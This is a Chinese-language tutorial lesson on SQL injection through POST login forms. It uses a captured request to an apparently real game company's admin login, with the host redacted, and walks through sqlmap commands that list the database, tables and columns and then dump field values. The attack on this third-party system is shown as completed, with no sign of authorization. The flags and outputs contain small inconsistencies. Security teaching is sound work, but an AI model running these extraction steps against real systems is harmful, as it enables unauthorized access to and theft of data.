第09课:POST

第09课:POST 注入

本课旨要:本节课讲解 SQL 注入中的 POST 注入,希望读者学习本课内容来了解一下 POST 注入方法。

POST 服务

POST 起初是用来向服务器传递数据的,常用在与 HTML 的表单里,比如管理员的登录后台,管理员在表单里填好了账号密码之后,就会被 HTML 以 POST 方法传往服务器进行数据效验。

enter image description here

如图所示,当 HTML 表单提交数据到服务器的时候,服务器后端检查输入的数据是否正确,然后根据数据库的返回结果再返回到客户端上。

如果在这 POST 提交的过程中,数据存在注入,那么就称之为 SQL POST 注入。

SQL 注入里的 POST 注入这种情况多出现在登录框里,可以是后台的登录框,也可以是某个搜索框,涉及到了 POST 发送数据的过程中如果存在 SQL 注入,POST 注入就会成立。

简单说就是没有过滤参数,只是传进来的参数没做过滤或者判断就直接带入 MySQL 才会造成的注入。

按照这样说也就有了 GET 方法的注入哈。

POST 注入的例子有很多,最经典的就是“万能密码”的例子,万能密码造成的原因我已经在上个文章里讲过,这节课就不重复累赘了。

POST 注入手工测试比较麻烦,所以本节课用 SQLMAP 来讲解 POST 注入的过程。

内容涉及到敏感信息,故此要对本章内容进行脱敏处理。

POST 注入实例

enter image description here

如图所示,这是某著名游戏公司旗下的某个游戏的后台登录,在这个登录里之间的数据传输就是 POST 方法,在登录的时候抓个包来看看响应数据。

enter image description here

内容已经做了脱敏处理,可以看到是个 POST 提交的方法。

他们之间的响应过程是我(客户端)发送数据到服务器(服务端)进行后台效验,根据效验的结果返回给我报文。

我发送的数据:

POST /?m=admin_login.php HTTP/1.1
Host: www.baidu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://baidu.com/?m=admin.php
Cookie: PHPSESSID=v5o2adv16vpia83
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

username=1&passwd=1

服务端响应给我的报文:

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 29 Jan 2018 12:01:14 GMT
Content-Type: text/html;charset=utf-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.25
P3P: CP=CAO PSA OUR
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3761

这之间就进行了一次 POST 数据的传输。

至于怎么判断 username=1&passwd=1 这个 POST 的数据存在 SQL 注入呢?

可以用到 SQLMap 进行测试。

SQL 测试之前,需要说明两个命令。

SQLMap 自动化 POST 注入详解

这里需要提两个参数,参数如下:

  • 参数:-r
  • SQLMap 可以从一个文本文件中获取 HTTP 请求,这样就可以跳过设置一些其他参数(如 Cookie、POST 数据等)。

这个参数是从文件里获取 HTTP 请求进行注入测试,当然也可以使用参数“--data”手动设置参数进行注入,但是一般情况下我使用参数“-r”,节省时间。

SQLMap POST 注入过程

首先先把 HTTP 请求给复制到一个文件里(txt),这里以 sql.txt 为例,然后使用命令:

sqlmap -r sql.txt

输入这条命令之后,SQLMap 便会去读取你文件里的 HTTP 请求来进行自动化的测试,如图所示:

enter image description here

这里 SQLMap 已经告诉我结果了,POST 请求中的 username 存在注入,并且告诉我后端为 MySQL 5.5,PHP 版本为 5.3.25 版本。

SQLMap 获取数据库库名

接下来便可以获取数据库库名,使用命令:

sqlmap -r sql.txt --current-db

SQLMap 返回信息为:

[20:12:51] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.25
back-end DBMS: MySQL >= 5.5
[20:12:51] [INFO] fetching current database
[20:12:51] [WARNING] reflective value(s) found and filtering out
[20:12:51] [INFO] retrieved: dtdgsmp
current database:    'dtdmp'

SQLMap 获取表名

数据库库名为 dtdmp,接着获取当前数据库的表名,使用命令如下:

sqlmap -r sql.txt --D 数据库名 --tables

enter image description here

数据库和表都被列出来了,那么接下来可以做什么呢?

SQLMap 获取字段

获取字段,命令如下:

sqlmap -r sql.txt --D 数据库名 -T 表名 --columns

enter image description here

字段也出来了,接下来便可以获取字段的值。

SQLMap 获取字段的值

命令如下:

sqlmap -r sql.txt --D 数据库名 -T 表名 -C 字段名 

enter image description here

SQLMap 已经成功的爆破出了详细信息,到这里为止,一次 SQL POST 注入攻击实例算完成了。

结语

希望各位读者能够通过本课内容了解 SQLMap 自动化注入的过程以及 POST 注入的方法,对 SQL 注入的功力更精进。

上一篇
下一篇
内容互动
写评论
加载更多
评论文章